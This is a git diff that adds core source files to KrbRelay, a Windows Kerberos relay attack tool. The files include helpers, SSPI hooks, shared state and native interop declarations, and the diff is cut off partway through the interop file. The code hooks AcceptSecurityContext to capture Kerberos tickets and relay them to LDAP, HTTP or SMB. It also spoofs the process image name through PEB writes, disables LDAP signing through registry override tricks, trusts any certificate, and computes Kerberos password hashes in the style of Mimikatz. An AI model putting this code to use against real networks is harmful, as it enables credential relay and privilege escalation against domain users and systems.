rename to KrbRelay/Com/IStorage/StandardActivator.cs
diff --git a/KrbRelay/IStorage/StorageTrigger.cs b/KrbRelay/Com/IStorage/StorageTrigger.cs
similarity index 100%
rename from KrbRelay/IStorage/StorageTrigger.cs
rename to KrbRelay/Com/IStorage/StorageTrigger.cs
diff --git a/KrbRelay/Common/Helpers.cs b/KrbRelay/Common/Helpers.cs
new file mode 100644
index 0000000..a8c8e22
--- /dev/null
+++ b/KrbRelay/Common/Helpers.cs
@@ -0,0 +1,558 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.NetworkInformation;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Text;
+using Microsoft.Win32;
+using NetFwTypeLib;
+
+// Generic helper functions to transform data, hash keys, create interop objects, etc.
+
+namespace KrbRelay
+{
+ class Helpers
+ {
+ //https://github.com/rvazarkar/GMSAPasswordReader
+ public static string KerberosPasswordHash(
+ KERB_ETYPE etype,
+ string password,
+ string salt = "",
+ int count = 4096
+ )
+ {
+ // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype
+ // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation
+
+ KERB_ECRYPT pCSystem;
+ IntPtr pCSystemPtr;
+
+ // locate the crypto system for the hash type we want
+ int status = Interop.CDLocateCSystem(etype, out pCSystemPtr);
+
+ pCSystem = (KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(
+ pCSystemPtr,
+ typeof(KERB_ECRYPT)
+ );
+ if (status != 0)
+ throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem");
+
+ // get the delegate for the password hash function
+ KERB_ECRYPT_HashPassword pCSystemHashPassword =
+ (KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(
+ pCSystem.HashPassword,
+ typeof(KERB_ECRYPT_HashPassword)
+ );
+ UNICODE_STRING passwordUnicode = new UNICODE_STRING(password);
+ UNICODE_STRING saltUnicode = new UNICODE_STRING(salt);
+
+ byte[] output = new byte[pCSystem.KeySize];
+
+ status = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output);
+
+ if (status != 0)
+ throw new Win32Exception(status);
+
+ return System.BitConverter.ToString(output).Replace("-", "");
+ }
+
+ // https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters
+ public static string SetProcessModuleName(string newName)
+ {
+ uint retLength = 0;
+ PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
+ Interop.NtQueryInformationProcess(
+ (IntPtr)(-1),
+ 0,
+ ref pbi,
+ Marshal.SizeOf(pbi),
+ ref retLength
+ );
+
+ // PEB->ProcessParameters
+ IntPtr processParameters = Marshal.ReadIntPtr(pbi.PebBaseAddress + 0x20);
+
+ // RtlUserProcessParameters->ImagePathName
+ IntPtr imagePathName = processParameters + 0x060;
+
+ UNICODE_STRING name = (UNICODE_STRING)Marshal.PtrToStructure(
+ imagePathName,
+ typeof(UNICODE_STRING)
+ );
+ var previous = name.ToString();
+
+ name.Length = (ushort)(newName.Length * 2);
+ name.MaximumLength = (ushort)(name.Length + 2);
+
+ byte[] buffer = Encoding.Unicode.GetBytes(newName + "\x00");
+
+ IntPtr bytesWritten = IntPtr.Zero;
+ Interop.WriteProcessMemory(
+ (IntPtr)(-1),
+ name.buffer,
+ buffer,
+ buffer.Length,
+ out bytesWritten
+ );
+
+ Marshal.StructureToPtr(name, imagePathName, false);
+
+ StringBuilder fileName = new StringBuilder(1024);
+ Interop.GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
+
+ if (fileName.ToString() == newName)
+ {
+ Console.WriteLine("[+] SetProcessModuleName({0}): Success", newName);
+ } else{
+ Console.WriteLine("[!] SetProcessModuleName({0}) FAILED, got {1}", newName, fileName);
+ }
+
+ return previous;
+ }
+
+ static readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646);
+
+ public static void OverrideLocalMachine(RegistryKey key)
+ {
+ int res = Interop.RegOverridePredefKey(HKEY_LOCAL_MACHINE,
+ key?.Handle.DangerousGetHandle() ?? IntPtr.Zero);
+ if (res != 0)
+ throw new Win32Exception(res);
+ }
+
+ public static void LoadLDAPLibrary()
+ {
+ string dummy = @"SOFTWARE\DUMMY";
+ string target = @"System\CurrentControlSet\Services\LDAP";
+ using (var key = Registry.CurrentUser.CreateSubKey(dummy, true))
+ {
+ using (var okey = key.CreateSubKey(target, true))
+ {
+ okey.SetValue("LdapClientIntegrity", 0,
+ RegistryValueKind.DWord);
+ OverrideLocalMachine(key);
+ try
+ {
+ IntPtr lib = Interop.LoadLibrary("wldap32.dll");
+ if (lib == IntPtr.Zero)
+ throw new Win32Exception();
+ }
+ finally
+ {
+ OverrideLocalMachine(null);
+ Registry.CurrentUser.DeleteSubKeyTree(dummy);
+ }
+ }
+ }
+ }
+ public static uint TrustAllCertificates(IntPtr ld)
+ {
+ return Interop.ldap_set_option(ld, 0x81, //LDAP_OPT_SERVER_CERTIFICATE
+ Marshal.GetFunctionPointerForDelegate((connection, serverCert) => true)
+ );
+ }
+
+ public static bool GetWtsSessionData(int SessionId)
+ {
+ if (SessionId != -123)
+ {
+ uint bytesReturned;
+ bool worked;
+ IntPtr buffer = IntPtr.Zero;
+
+ try
+ {
+ worked = Interop.WTSQuerySessionInformation(
+ IntPtr.Zero,
+ SessionId,
+ WtsInfoClass.ConnectState,
+ out buffer,
+ out bytesReturned
+ );
+ var state = (WtsConnectStateClass)Enum.ToObject(
+ typeof(WtsConnectStateClass),
+ Marshal.ReadInt32(buffer)
+ );
+ if (state != WtsConnectStateClass.Active)
+ Console.WriteLine("[-] WARNING, user's session is not active");
+ }
+ catch
+ {
+ Console.WriteLine("[-] Session {0} does not exists", SessionId);
+ return false;
+ }
+
+ worked = Interop.WTSQuerySessionInformation(
+ IntPtr.Zero,
+ SessionId,
+ WtsInfoClass.DomainName,
+ out buffer,
+ out bytesReturned
+ );
+ State.relayedUserDomain = Marshal.PtrToStringAnsi(buffer);
+
+ worked = Interop.WTSQuerySessionInformation(
+ IntPtr.Zero,
+ SessionId,
+ WtsInfoClass.UserName,
+ out buffer,
+ out bytesReturned
+ );
+ State.relayedUser = Marshal.PtrToStringAnsi(buffer);
+ }
+ else
+ {
+ State.relayedUser = Environment.MachineName + "$";
+ State.relayedUserDomain = State.domainDN.Replace(",", ".").Replace("DC=", "");
+ }
+ Console.WriteLine(
+ "[*] Relaying context: {0}\\{1}",
+ State.relayedUserDomain,
+ State.relayedUser
+ );
+
+ return true;
+ }
+
+ public static bool CheckFirewallPort(int port, string name = "SYSTEM")
+ {
+ INetFwMgr mgr = (INetFwMgr)Activator.CreateInstance(
+ Type.GetTypeFromProgID("HNetCfg.FwMgr")
+ );
+ if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled)
+ {
+ return true;
+ }
+ mgr.IsPortAllowed(
+ name,
+ NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY,
+ port,
+ "",
+ NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP,
+ out object allowed,
+ out object restricted
+ );
+ return (bool)allowed;
+ }
+
+ public static int CheckAllFirewallPorts(string[] names)
+ {
+ IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
+ IPEndPoint[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners();
+ List tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList();
+
+ foreach (string name in names)
+ {
+ for (int i = 1; i < 65535; i++)
+ {
+ if (CheckFirewallPort(i, name) && !tcpPorts.Contains(i))
+ {
+ return i;
+ }
+ }
+ }
+ return -1;
+ }
+
+ public static string ByteArrayToHex(byte[] ba)
+ {
+ StringBuilder hex = new StringBuilder(ba.Length * 2);
+ foreach (byte b in ba)
+ hex.AppendFormat("{0:x2}", b);
+ return hex.ToString();
+ }
+
+ public static byte[] HexToByteArray(string s)
+ {
+ return Enumerable
+ .Range(0, s.Length)
+ .Where(x => x % 2 == 0)
+ .Select(x => Convert.ToByte(s.Substring(x, 2), 16))
+ .ToArray();
+ }
+
+ public static void PrintProperties(object myObj, string header = "", int offset = 0)
+ {
+ string trail = String.Concat(Enumerable.Repeat(" ", offset));
+
+ if (!string.IsNullOrEmpty(header))
+ Console.WriteLine(header);
+
+ foreach (var prop in myObj.GetType().GetProperties())
+ {
+ try
+ {
+ if (!string.IsNullOrEmpty((string)(prop.GetValue(myObj, null))))
+ Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null));
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null));
+ }
+ }
+
+ foreach (var field in myObj.GetType().GetFields())
+ {
+ try
+ {
+ if (!string.IsNullOrEmpty((string)field.GetValue(myObj)))
+ Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj));
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj));
+ }
+ }
+ }
+
+ public static T ReadStruct(byte[] array) where T : struct
+ {
+ var handle = GCHandle.Alloc(array, GCHandleType.Pinned);
+ var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
+ handle.Free();
+
+ return mystruct;
+ }
+
+ public static int FieldOffset(string fieldName)
+ {
+ return Marshal.OffsetOf(typeof(T), fieldName).ToInt32();
+ }
+
+ public static int StructFieldOffset(Type s, string field)
+ {
+ var ex = typeof(Program);
+ var mi = ex.GetMethod("FieldOffset");
+ var miConstructed = mi.MakeGenericMethod(s);
+ object[] args = { field };
+ return (int)miConstructed.Invoke(null, args);
+ }
+
+ public static byte[] EncodeLength(int length)
+ {
+ if (length < 0x80)
+
+ return new byte[] { (byte)length };
+
+ if (length < 0x100)
+
+ return new byte[] { 0x81, (byte)length };
+
+ if (length < 0x10000)
+
+ return new byte[] { 0x82, (byte)(length >> 8), (byte)(length & 0xFF) };
+
+ throw new ArgumentException("Invalid length", nameof(length));
+ }
+
+ public static byte[] ConvertApReq(byte[] token)
+ {
+ if (token.Length == 0 || token[0] != 0x6E) // return if packet is not kerberos
+ return token;
+
+ MemoryStream stm = new MemoryStream();
+
+ BinaryWriter writer = new BinaryWriter(stm);
+
+ // write KRB5_OID + KRB5_tok_ID
+ byte[] header = new byte[]
+ {
+ 0x06,
+ 0x09,
+ 0x2a,
+ 0x86,
+ 0x48,
+ 0x86,
+ 0xf7,
+ 0x12,
+ 0x01,
+ 0x02,
+ 0x02,
+ 0x01,
+ 0x00
+ };
+
+ writer.Write((byte)0x60);
+
+ writer.Write(EncodeLength(header.Length + token.Length));
+
+ writer.Write(header);
+
+ writer.Write(token);
+
+ return stm.ToArray();
+ }
+
+ public static List SearchBytePattern(byte[] pattern, byte[] bytes)
+ {
+ List positions = new List();
+ int patternLength = pattern.Length;
+ int totalLength = bytes.Length;
+ byte firstMatchByte = pattern[0];
+ for (int i = 0; i < totalLength; i++)
+ {
+ if (firstMatchByte == bytes[i] && totalLength - i >= patternLength)
+ {
+ byte[] match = new byte[patternLength];
+ Array.Copy(bytes, i, match, 0, patternLength);
+ if (match.SequenceEqual(pattern))
+ {
+ positions.Add(i);
+ i += patternLength - 1;
+ }
+ }
+ }
+ return positions;
+ }
+
+ public static byte[] Combine(params byte[][] arrays)
+ {
+ byte[] ret = new byte[arrays.Sum(x => x.Length)];
+ int offset = 0;
+ foreach (byte[] data in arrays)
+ {
+ Buffer.BlockCopy(data, 0, ret, offset, data.Length);
+ offset += data.Length;
+ }
+ return ret;
+ }
+
+ public static int PatternAt(byte[] src, byte[] pattern, bool firstMatch = false)
+ {
+ int maxFirstCharSlot = src.Length - pattern.Length + 1;
+ for (int i = 0; i < maxFirstCharSlot; i++)
+ {
+ if (src[i] != pattern[0]) // compare only first byte
+ continue;
+ if (firstMatch == true)
+ return i;
+ // found a match on first byte, now try to match rest of the pattern
+ for (int j = pattern.Length - 1; j >= 1; j--)
+ {
+ if (src[i + j] != pattern[j])
+ break;
+ if (j == 1)
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ internal static IEnumerable GetPointerArray(IntPtr array)
+ {
+ if (array != IntPtr.Zero)
+ {
+ var count = 0;
+ var tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size);
+ while (tempPtr != IntPtr.Zero)
+ {
+ yield return tempPtr;
+ count++;
+ tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size);
+ }
+ }
+ }
+
+ internal static IntPtr AllocHGlobalIntPtrArray(int size)
+ {
+ checked
+ {
+ var intPtrArray = Marshal.AllocHGlobal(IntPtr.Size * size);
+ for (var i = 0; i < size; i++)
+ {
+ Marshal.WriteIntPtr(intPtrArray, IntPtr.Size * i, IntPtr.Zero);
+ }
+
+ return intPtrArray;
+ }
+ }
+
+ internal static void StructureArrayToPtr(
+ IEnumerable array,
+ IntPtr ptr,
+ bool endNull = false
+ )
+ {
+ var ptrArray = array
+ .Select(
+ structure =>
+ {
+ var structPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T)));
+ Marshal.StructureToPtr(structure, structPtr, false);
+ return structPtr;
+ }
+ )
+ .ToList();
+ if (endNull)
+ {
+ ptrArray.Add(IntPtr.Zero);
+ }
+
+ Marshal.Copy(ptrArray.ToArray(), 0, ptr, ptrArray.Count);
+ }
+
+ internal static void ByteArraysToBerValueArray(byte[][] sourceData, IntPtr ptr)
+ {
+ for (var i = 0; i < sourceData.Length; i++)
+ {
+ var berPtr = ByteArrayToBerValue(sourceData[i]);
+ Marshal.WriteIntPtr(ptr, i * IntPtr.Size, berPtr);
+ }
+
+ Marshal.WriteIntPtr(ptr, sourceData.Length * IntPtr.Size, IntPtr.Zero);
+ }
+
+ internal static IntPtr ByteArrayToBerValue(byte[] bytes)
+ {
+ var berPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(berval)));
+ var valPtr = Marshal.AllocHGlobal(bytes.Length);
+ Marshal.Copy(bytes, 0, valPtr, bytes.Length);
+ Marshal.StructureToPtr(
+ new berval { bv_val = valPtr, bv_len = bytes.Length },
+ berPtr,
+ true
+ );
+ return berPtr;
+ }
+
+ internal static void BerValFree(IntPtr berval)
+ {
+ if (berval != IntPtr.Zero)
+ {
+ var b = (berval)Marshal.PtrToStructure(berval, typeof(berval));
+ Marshal.FreeHGlobal(b.bv_val);
+ Marshal.FreeHGlobal(berval);
+ }
+ }
+
+ internal static void BerValuesFree(IntPtr array)
+ {
+ foreach (var ptr in GetPointerArray(array))
+ {
+ BerValFree(ptr);
+ }
+ }
+
+ public static List BerValArrayToByteArrays(IntPtr ptr)
+ {
+ var result = new List();
+ foreach (var tempPtr in GetPointerArray(ptr))
+ {
+ var bervalue = new berval();
+ Marshal.PtrToStructure(tempPtr, bervalue);
+ if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero)
+ {
+ var byteArray = new byte[bervalue.bv_len];
+ Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len);
+ result.Add(byteArray);
+ }
+ }
+
+ return result;
+ }
+ }
+}
diff --git a/KrbRelay/Common/Hooks.cs b/KrbRelay/Common/Hooks.cs
new file mode 100644
index 0000000..1ae4780
--- /dev/null
+++ b/KrbRelay/Common/Hooks.cs
@@ -0,0 +1,207 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.InteropServices;
+using KrbRelay.Clients;
+
+// Handles the installation of hooks for SSPI functions (currently only AcceptSecurityContext).
+//
+// It will update both the function table in sspicli and search for existing references in
+// modules that are already loaded - Hook(searchModules). On dispose, it will reset all addresses.
+
+namespace KrbRelay
+{
+ class SSPIHooks
+ {
+ private bool hooked = false;
+ private IntPtr tablePtr;
+ private SecurityFunctionTable table;
+ private Dictionary resets = new Dictionary();
+ private Dictionary hooks;
+
+ public unsafe SSPIHooks()
+ {
+ tablePtr = Interop.InitSecurityInterface();
+ table = Marshal.PtrToStructure(tablePtr);
+ hooks = new Dictionary()
+ {
+ {
+ "AcceptSecurityContext",
+ (AcceptSecurityContextFunc)this.AcceptSecurityContext
+ }
+ };
+ }
+
+ ~SSPIHooks()
+ {
+ Unhook();
+ }
+
+ public unsafe void Hook(string[] searchModules = null)
+ {
+ Console.WriteLine("[*] Applying SSPI hooks");
+
+ Dictionary installed = new Dictionary();
+
+ searchModules = searchModules ?? new string[] { "rpcrt4.dll" };
+
+ foreach (var hook in hooks)
+ {
+ IntPtr functionPtr = tablePtr + Helpers.FieldOffset(hook.Key);
+ IntPtr hookFunction = Marshal.GetFunctionPointerForDelegate(hook.Value);
+ IntPtr originalFunction = Marshal.ReadIntPtr(functionPtr);
+
+ Marshal.WriteIntPtr(functionPtr, hookFunction);
+ installed[originalFunction] = hookFunction;
+ resets[functionPtr] = originalFunction;
+
+ Console.WriteLine(" |- sspicli.dll!SecTableW->{0} [0x{1:X8}]", hook.Key, functionPtr);
+ }
+
+ foreach (var module in searchModules)
+ {
+ IMAGE_SECTION_HEADER dataSection = new IMAGE_SECTION_HEADER();
+
+ IntPtr moduleBase = Interop.GetModuleHandle(module);
+ if (moduleBase == IntPtr.Zero)
+ continue;
+
+ // Get the data directory pointer + size
+
+ var dosHeader = Marshal.PtrToStructure(moduleBase);
+ var ntHeader = Marshal.PtrToStructure(
+ (IntPtr)(moduleBase.ToInt64() + dosHeader.e_lfanew)
+ );
+
+ IntPtr sections = (IntPtr)(
+ moduleBase.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf()
+ );
+ for (int i = 0; i < ntHeader.FileHeader.NumberOfSections; i++)
+ {
+ var section = Marshal.PtrToStructure(
+ sections + (i * Marshal.SizeOf())
+ );
+ if (new string(section.Name) == ".data")
+ {
+ dataSection = section;
+ break;
+ }
+ }
+
+ if (dataSection.VirtualAddress == 0)
+ continue;
+
+ // Search for references we need to hook
+
+ foreach (var hook in installed)
+ {
+ for (int k = 0; k < dataSection.VirtualSize; k++)
+ {
+ IntPtr search = (IntPtr)(
+ moduleBase.ToInt64() + dataSection.VirtualAddress + k
+ );
+ if (Marshal.ReadIntPtr(search) == hook.Key)
+ {
+ resets[search] = Marshal.ReadIntPtr(search);
+ Marshal.WriteIntPtr(search, hook.Value);
+ Console.WriteLine(" |- {0}->0x{1:X8}", module, search);
+ }
+ }
+ }
+ }
+
+ Console.WriteLine();
+ hooked = true;
+ }
+
+ public void Unhook()
+ {
+ if (hooked)
+ {
+ Console.WriteLine("[*] Removing SSPI hooks");
+
+ foreach (var reset in resets)
+ {
+ Marshal.WriteIntPtr(reset.Key, reset.Value);
+ Console.WriteLine(" |- 0x{0:X8}", reset.Key);
+ }
+ hooked = false;
+ }
+ }
+
+ public unsafe SecurityStatusCode AcceptSecurityContext(
+ SspiHandle* phCredential,
+ SspiHandle* phContext, // This might be null on first call, ref hates that
+ SecurityBufferDescriptor* pInput,
+ AcceptContextReqFlags fContextReq,
+ uint TargetDataRep,
+ SspiHandle* phNewContext,
+ SecurityBufferDescriptor* pOutput,
+ uint* pfContextAttr,
+ LARGE_INTEGER* ptsTimeStamp
+ )
+ {
+ SecurityStatusCode result = SecurityStatusCode.InternalError;
+
+ // Get kerberos tickets sent to our com server
+
+ if (State.apRep1.Length == 0)
+ {
+ byte[] ticket = Helpers.ConvertApReq(pInput->GetTokenBytes());
+ State.UpdateApReq(ticket);
+
+ var pPlaceholder = new SecurityBufferDescriptor(12288);
+ result = Interop.AcceptSecurityContext(
+ ref *phCredential,
+ ref *phContext,
+ ref *pInput,
+ fContextReq,
+ TargetDataRep,
+ ref *phNewContext,
+ ref pPlaceholder,
+ ref *pfContextAttr,
+ ref *ptsTimeStamp
+ );
+
+ Console.WriteLine("[*] AcceptSecurityContext: {0}", result);
+ Console.WriteLine(" |- Context Flags: {0}", fContextReq);
+ }
+ else if (State.apRep2.Length == 0)
+ {
+ State.UpdateApRep2(pInput->GetTokenBytes());
+ }
+ else
+ {
+ Console.WriteLine("[*] AcceptSecurityContext hook returning {0}", result);
+ return result;
+ }
+
+ string service = State.spn.Split('/').First();
+ if (service.ToLower() == "ldap")
+ {
+ Ldap.Connect();
+ }
+ else if (service.ToLower() == "http")
+ {
+ Http.Connect();
+ }
+ else if (service.ToLower() == "cifs")
+ {
+ Smb.Connect();
+ }
+
+ if (State.apRep1.Length == 0)
+ {
+ Console.WriteLine("[!] apRep1 is empty!");
+ return result;
+ }
+
+ if (State.apRep2.Length == 0)
+ {
+ pOutput->UpdateTokenBytes(State.apRep1);
+ }
+
+ return result;
+ }
+ }
+}
diff --git a/KrbRelay/Common/State.cs b/KrbRelay/Common/State.cs
new file mode 100644
index 0000000..e4dcaf3
--- /dev/null
+++ b/KrbRelay/Common/State.cs
@@ -0,0 +1,71 @@
+using System;
+using System.Collections.Generic;
+
+// Manages the shared state accross the project, obviously global vars aren't the best
+// solution, but works pretty well given how many different components share things
+// like kerberos tickets for relays
+
+namespace KrbRelay
+{
+ static class State
+ {
+ // LDAP
+ public static SspiHandle ldap_CredHandle = new SspiHandle(); // Credential handle
+ public static IntPtr ld = IntPtr.Zero; // Open handle for LDAP APIs
+
+ // Relay
+ public static byte[] apReq = new byte[] { };
+ public static byte[] apRep1 = new byte[] { };
+ public static byte[] apRep2 = new byte[] { };
+ public static byte[] ticket = new byte[] { };
+
+ // Parameters
+ public static string spn = "";
+ public static string relayedUser = "";
+ public static string relayedUserDomain = "";
+ public static string domainDN = "";
+ public static string targetFQDN = "";
+ public static bool useSSL = false;
+ public static Dictionary attacks = new Dictionary();
+
+ // Syncronization
+ public static bool stopSpoofing = false;
+
+ public static void UpdateApReq(byte[] bytes)
+ {
+ apReq = bytes;
+ ticket = bytes;
+
+ if (bytes[0] != 0x60)
+ {
+ Console.WriteLine("[-] Recieved invalid apReq, exploit will fail");
+ Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes));
+ } else
+ {
+ Console.WriteLine("[*] Got initial AP_REQ");
+#if DEBUG
+ Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes));
+#endif
+ }
+ }
+
+ public static void UpdateApRep1(byte[] bytes)
+ {
+ apRep1 = bytes;
+ Console.WriteLine("[*] Got first AP_REP");
+#if DEBUG
+ Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes));
+#endif
+ }
+
+ public static void UpdateApRep2(byte[] bytes)
+ {
+ apRep2 = bytes;
+ ticket = bytes;
+ Console.WriteLine("[*] Got second AP_REP");
+#if DEBUG
+ Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes));
+#endif
+ }
+ }
+}
diff --git a/KrbRelay/Interop/Interop.cs b/KrbRelay/Interop/Interop.cs
new file mode 100644
index 0000000..61eed61
--- /dev/null
+++ b/KrbRelay/Interop/Interop.cs
@@ -0,0 +1,317 @@
+using System;
+using System.Runtime.InteropServices;
+using System.Text;
+
+// Contains all the DllImport declarations for native functions used throughout
+// the project. Prefer minimal attributes (EntryPoint, CharSet, Convetion, etc.)
+// where possible and defined structures as arguments over basic IntPtrs.
+
+namespace KrbRelay
+{
+ public class Interop
+ {
+ // LDAP
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern uint ldap_set_option(IntPtr ld, uint option, ref uint invalue);
+
+ [DllImport("wldap32",CallingConvention = CallingConvention.Cdecl)]
+ internal static extern uint ldap_set_option(IntPtr ld, uint option, IntPtr pointer);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern uint ldap_connect(IntPtr ld, LDAP_TIMEVAL timeout);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_init(string hostname, uint port);
+
+ [DllImport(
+ "wldap32",
+ EntryPoint = "ldap_sasl_bind_s",
+ CallingConvention = CallingConvention.Cdecl
+ )]
+ internal static extern int ldap_sasl_bind(
+ [In] IntPtr ld,
+ string dn,
+ string mechanism,
+ IntPtr cred,
+ IntPtr serverctrls,
+ IntPtr clientctrls,
+ out IntPtr msgidp
+ );
+
+ [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
+ internal static extern int ldap_get_option(IntPtr ld, int option, out int value);
+
+ [DllImport(
+ "wldap32",
+ CharSet = CharSet.Unicode,
+ CallingConvention = CallingConvention.Cdecl
+ )]
+ internal static extern int ldap_search(
+ IntPtr ld,
+ string @base,
+ int scope,
+ string filter,
+ IntPtr attrs,
+ int attrsonly
+ );
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern int ldap_result(
+ IntPtr ld,
+ int msgid,
+ int all,
+ LDAP_TIMEVAL timeout,
+ ref IntPtr pMessage
+ );
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_first_entry(IntPtr ld, IntPtr pMessage);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_next_entry(IntPtr ld, IntPtr pMessage);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_get_dn(IntPtr ld, IntPtr message);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_first_attribute(
+ IntPtr ld,
+ IntPtr entry,
+ ref IntPtr ppBer
+ );
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_next_attribute(
+ IntPtr ld,
+ IntPtr entry,
+ ref IntPtr ppBer
+ );
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, IntPtr ppBer);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern IntPtr ldap_get_values_len(IntPtr ld, IntPtr entry, IntPtr pBer);
+
+ [DllImport(
+ "wldap32",
+ EntryPoint = "ldap_modify_s",
+ CharSet = CharSet.Unicode,
+ CallingConvention = CallingConvention.Cdecl
+ )]
+ internal static extern int ldap_modify(IntPtr ld, string dn, IntPtr mods);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern int ldap_unbind(IntPtr ld);
+
+ [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)]
+ internal static extern void ldap_value_free_len(IntPtr vals);
+
+ // Session
+
+ [DllImport("Wtsapi32.dll")]
+ internal static extern bool WTSQuerySessionInformation(
+ IntPtr hServer,
+ int sessionId,
+ WtsInfoClass wtsInfoClass,
+ out System.IntPtr ppBuffer,
+ out uint pBytesReturned
+ );
+
+ // Encryption
+
+ [DllImport(
+ "advapi32.dll",
+ EntryPoint = "SystemFunction018",
+ SetLastError = true,
+ CallingConvention = CallingConvention.StdCall
+ )]
+ private static extern uint RtlEncryptNtOwfPwdWithNtSesKey(
+ [In] byte[] ntOwfPassword,
+ [In] ref byte[] sessionkey,
+ [In, Out] byte[] encryptedNtOwfPassword
+ );
+
+ [DllImport(
+ "advapi32.dll",
+ EntryPoint = "SystemFunction018",
+ SetLastError = true,
+ CallingConvention = CallingConvention.StdCall
+ )]
+ private static extern uint RtlEncryptNtOwfPwdWithNtSesKey(
+ [In] byte[] ntOwfPassword,
+ [In] byte[] sessionkey,
+ [In, Out] byte[] encryptedNtOwfPassword
+ );
+
+ internal static uint RtlEncryptNtOwfPwdWithNtSesKey(
+ byte[] ntOwfPassword,
+ byte[] sessionkey,
+ out byte[] encryptedNtOwfPassword
+ )
+ {
+ encryptedNtOwfPassword = new byte[16];
+ return RtlEncryptNtOwfPwdWithNtSesKey(
+ ntOwfPassword,
+ ref sessionkey,
+ encryptedNtOwfPassword
+ );
+ }
+
+ // SSPI
+
+ [DllImport("Secur32.dll")]
+ internal unsafe static extern SecurityStatusCode AcceptSecurityContext(
+ ref SspiHandle phCredential,
+ ref SspiHandle phContext,
+ ref SecurityBufferDescriptor pInput,
+ AcceptContextReqFlags fContextReq,
+ uint TargetDataRep,
+ ref SspiHandle phNewContext,
+ ref SecurityBufferDescriptor pOutput,
+ ref uint pfContextAttr,
+ ref LARGE_INTEGER ptsTimeStamp
+ );
+
+ [DllImport("secur32.dll")]
+ internal unsafe static extern SecurityStatusCode AcquireCredentialsHandle(
+ string pszPrincipal,
+ string pszPackage, // "Kerberos","NTLM","Negotiative"
+ uint fCredentialUse,
+ IntPtr pvLogonID,
+ IntPtr pAuthData,
+ IntPtr pGetKeyFn,
+ IntPtr pvGetKeyArgument,
+ ref SspiHandle phCredential,
+ ref LARGE_INTEGER ptsExpiry
+ );
+
+ [DllImport("secur32.dll")]
+ internal unsafe static extern SecurityStatusCode InitializeSecurityContext(
+ ref SspiHandle phCredential,
+ ref SspiHandle phContext,
+ string pszTargetName,
+ uint fContextReq,
+ uint Reserved1,
+ uint TargetDataRep,
+ ref SecurityBufferDescriptor pInput,
+ uint Reserved2,
+ ref SspiHandle phNewContext,
+ ref SecurityBufferDescriptor pOutput,
+ ref uint pfContextAttr,
+ ref LARGE_INTEGER ptsExpiry
+ );
+
+ [DllImport("secur32.dll")]
+ internal unsafe static extern SecurityStatusCode QueryContextAttributes(
+ ref SspiHandle phContext,
+ uint ulAttribute,
+ IntPtr pValue
+ );
+
+ [DllImport("Secur32.dll")]
+ internal static extern uint DeleteSecurityContext(ref SspiHandle phContext);
+
+ [DllImport("sspicli.dll", EntryPoint = "InitSecurityInterfaceW")]
+ internal static extern IntPtr InitSecurityInterface();
+
+ [DllImport("Secur32.dll")]
+ internal static extern uint FreeContextBuffer(IntPtr pvContextBuffer);
+
+ [DllImport("Secur32.dll")]
